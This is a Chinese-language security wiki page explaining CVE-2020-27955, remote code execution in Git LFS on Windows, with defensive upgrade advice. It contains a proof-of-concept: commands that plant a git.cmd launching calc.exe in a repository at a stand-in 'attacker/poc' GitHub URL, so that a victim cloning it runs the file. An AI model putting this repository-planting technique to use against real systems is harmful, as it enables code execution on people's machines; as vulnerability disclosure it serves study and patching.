menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right Git LFS 远程代码执行漏洞 CVE-2020–27955.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Git LFS 远程代码执行漏洞 CVE-2020–27955.md
    1.55 KB / 2021-05-21 09:14:38
        # Git LFS 远程代码执行漏洞 CVE-2020–27955
    
    2020年11月5日,在Git扩展之一GIT LFS上发现了一个关键漏洞。此漏洞利用成功会导致目标机器的远程代码执行。
    
    远程代码执行漏洞仅对Windows平台上的Git-LFS(git-lfs)版本<=2.12上有效。一旦受害者克隆了恶意存储库,并在他们的系统上运行了易受攻击版本的git-lfs,恶意Payload就会立即执行。
    
    漏洞验证:
    
    在CMD窗口上使用以下命令。如果安装了受影响的git-lfs工具,系统将提示您使用计算器应用程序。
    
    
    ```
    1. mkdir C:\Windows\Temp\poc
    2. cd C:\Windows\Temp\poc
    3. echo calc.exe > git.cmd
    4. git-lfs track
    ```
    
    在目标系统上获得RCE
    
    按照以下步骤进行远程代码执行
    
    作为攻击者:
    
    1.在GitHub上创建一个存储库
    
    ![](media/16097299855890/16097300092808.jpg)
    
    
    
    ```
    2. cd /dev/shm
    3. git clone https://github.com/attacker/poc.git .
    4. echo calc.exe > git.cmd
    5. git lfs track “*.dat”
    6. echo “Junk” > large.dat
    7. git add -A
    8. git commit -m “POC”
    9. git push -u origin master -f
    ```
    
    ![](media/16097299855890/16097300214141.jpg)
    
    
    受害者:
    
    1.git clone https://github.com/attacker/poc.git.
    
    ![](media/16097299855890/16097300337411.jpg)
    
    PoC视频:
    
    https://www.youtube.com/watch?v=WF69X9KEayE
    
    加固建议:
    
    更新并保持 git 版本高于 2.29.2,将 git-lfs 扩展程序保持在 2.12 以上
    
    
    ref:
    
    https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3
    
    https://forum.ywhack.com/thread-114744-1-4.html
    
    links
    file_download